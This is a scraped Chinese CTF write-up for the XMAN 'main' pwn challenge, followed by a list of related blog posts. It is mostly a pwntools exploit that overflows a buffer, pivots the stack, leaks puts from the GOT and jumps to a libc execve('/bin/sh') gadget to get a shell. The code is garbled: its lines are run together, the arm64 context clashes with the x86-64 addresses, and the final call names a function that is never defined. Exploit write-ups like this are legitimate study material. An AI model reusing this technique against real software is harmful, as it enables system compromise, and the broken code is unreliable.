XMAN【x天】main
前言
很揪心,一直想着用dl_resolve
解决,不过好麻烦,不仅要读还要写,还需要泄露地址,不如rop
简单。
而且了解到libc
中execve('/bin/sh\x00')
的操作,不过由于题目没有setbuf
导致,所以缓冲区就好乱,本地能通,远程却大不了。
代码
from pwn import*
import roputilsdef attack_remote_rop2():context(arch='arm64', os='linux', endian='little', rename_corefiles=False)context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh', '-c']conn = process("./main")elf = ELF("./main")control_ebp = 0x601060 + 0x100leave_ret = 0x40060Fret = 0x40061Cputs_plt = 0x4004C0puts_got = 0x601018read_plt = 0x4004d0pop_rdi = 0x400693pop_rsi = 0x400691read_again = 0x4005FC# log.info('puts_got addr ==> 0x%x' % elf.got['puts'])# write bssraw_input("go?")payload = 'a' * 0x100 + p64(pop_rdi) + \p64(puts_got) + p64(puts_plt) + p64(0x4005C2)conn.sendline(payload)sleep(0.1)# write stackpayload = 'a' * 0xa + p64(control_ebp - 8) + p64(leave_ret)conn.sendline(payload)sleep(0.1)put_addr = u64((conn.recvuntil('\x7f')[-6:] + '\x00' * 2))log.info('put_addr addr ==> 0x%x' % put_addr)system_addr = (put_addr - 0x809c0) + 0x4f440exec_addr = (put_addr - 0x809c0) + 0x4F322'''text:000000000004F322 mov rax, cs:environ_ptrtext:000000000004F329 lea rdi, aBinSh ; "/bin/sh"text:000000000004F330 lea rsi, [rsp+198h+var_158]text:000000000004F335 mov cs:dword_3ED5E0, 0text:000000000004F33F mov cs:dword_3ED5E4, 0text:000000000004F349 mov rdx, [rax]text:000000000004F34C call execve'''log.info('system_addr addr ==> 0x%x' % system_addr)raw_input("go?")# write bss twoconn.sendline('a' * 8)sleep(0.1)# write stackpayload = 'a' * 0xa + 'a' * 8 + p64(exec_addr)conn.sendline(payload)sleep(0.1)conn.interactive()attack_remote_dl()
总结
-。-可还行
XMAN【x天】main相关推荐
- [Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...
- [Jarvis OJ - PWN]——[XMAN]level2(x64)
[Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...
- [Jarvis OJ - PWN]——[XMAN]level2
[Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...
- C++ 笔记(26)— 主函数 main(int argc, char *argv[]) 参数说明
带形参的 main 函数,如 int main( int argc, char* argv[], char **env ) 是 UNIX .Linux 以及 Mac OS 操作系统中 C/C++ 的 ...
- Conversion error:Jekyll::Converters::Scss encountered an error while converting css/main.scss
错误描述:Conversion error: Jekyll::Converters::Scss encountered an error while converting 'css/main.scss ...
- Exception in thread main java.lang.Error: 无法解析的编译问题: 方法 main 不能声明为 static;只能在静态类型或顶级类型中才能声明静态方法
Exception in thread "main" java.lang.Error: 无法解析的编译问题: 方法 main 不能声明为 static:只能在静态类型或顶级类型中才 ...
- Java的IDEA最常用快捷键汇总+快速写出Main函数
前言 IDEA可以说是当下Java程序员日常开发的神器,但是想要发挥这款神器的牛逼威力,必须得熟练使用它的各种快捷键才行.本篇总结下使用IDEA(也就是IntelliJ IDEA )进行日常开发中最常 ...
- Go语言调度器之调度main goroutine(14)
本文是<Go语言调度器源代码情景分析>系列的第14篇,也是第二章的第4小节. 上一节我们通过分析main goroutine的创建详细讨论了goroutine的创建及初始化流程,这一节我们 ...
- Go 学习笔记(3)— 包概念、包特点、包名约束、main 包、包的声明、包的引用、包初始化
1. 包的概念 Go 语言是使用包来组织源代码的,并实现命名空间的管理.任何源代码文件必须属于某个包.源码文件的第一行有效代码必须是 package pacakgeName 语句,通过该语句声明自己所 ...
最新文章
- lucene LZ4 会将doc存储在一个chunk里进行Lz4压缩 ES的_source便如此
- Android NDK开发method GetStringUTFChars’could not be resolved
- Kubernetes安装之五:配置kubectl客户端
- NetCore基于EasyNetQ的高级API使用RabbitMq
- 使用MyBatista----上传图像
- 1071svm函数 r语言_R语言机器学习之核心包e1071 - 数据分析
- 多路平衡查找树 --- B(B-)树
- 轻松背后的N+疲惫——系统日志
- PreScan第一课:软件简介和基础
- Linux实操篇②(远程连接Linux;Xshell 6 和 Xftp 6 工具的安装;Xshell 6 和 Xftp 6 工具的配置和使用;)
- 数据分析之数据可视化
- 名帖234 俞和 行书《云锦帖》
- 从六度分隔到无尺度网络
- origin如何绘制双y轴曲线_如何在origin图中,做出双Y轴?
- 云短信使用——阿里云短信使用步骤
- [每周心学]浙江大学公开课:王阳明心学
- android twerk,抖音薛老湿bgm手机铃声响起拍照是什么歌 Android Twerk在哪听
- 网飞是如何利用大数据做出热门电视剧的?
- CocoaPods 【CocoaPods 全攻略】
- 亚马逊、微软云和二度云 国外三大云服务商优劣的那些事!
热门文章
- 云服务器导购:cpu、内存、硬盘、带宽都具体有什么用?
- ssas脚本组织程序_SSAS 使用手册
- java接入小米,小米粥 java实现WebSocket即时通信
- Google,微软等世界级大厂的面试套路,原来如此
- 人机交互系统(2.1)——深度学习分布式计算框架
- jzoj3234. 阴阳
- html的标签语言有哪些,HTML 是什么?
- Android Studio 批量修改文件名
- 计算机进化 放置游戏,随心放置冰风谷
- 2022-05-10:在字节跳动,大家都使用飞书的日历功能进行会议室的预订,遇到会议高峰时期, 会议室就可能不够用,现在请你实现一个算法,判断预订会议时是否有空的会议室可用。 为简化问题,这里忽略会议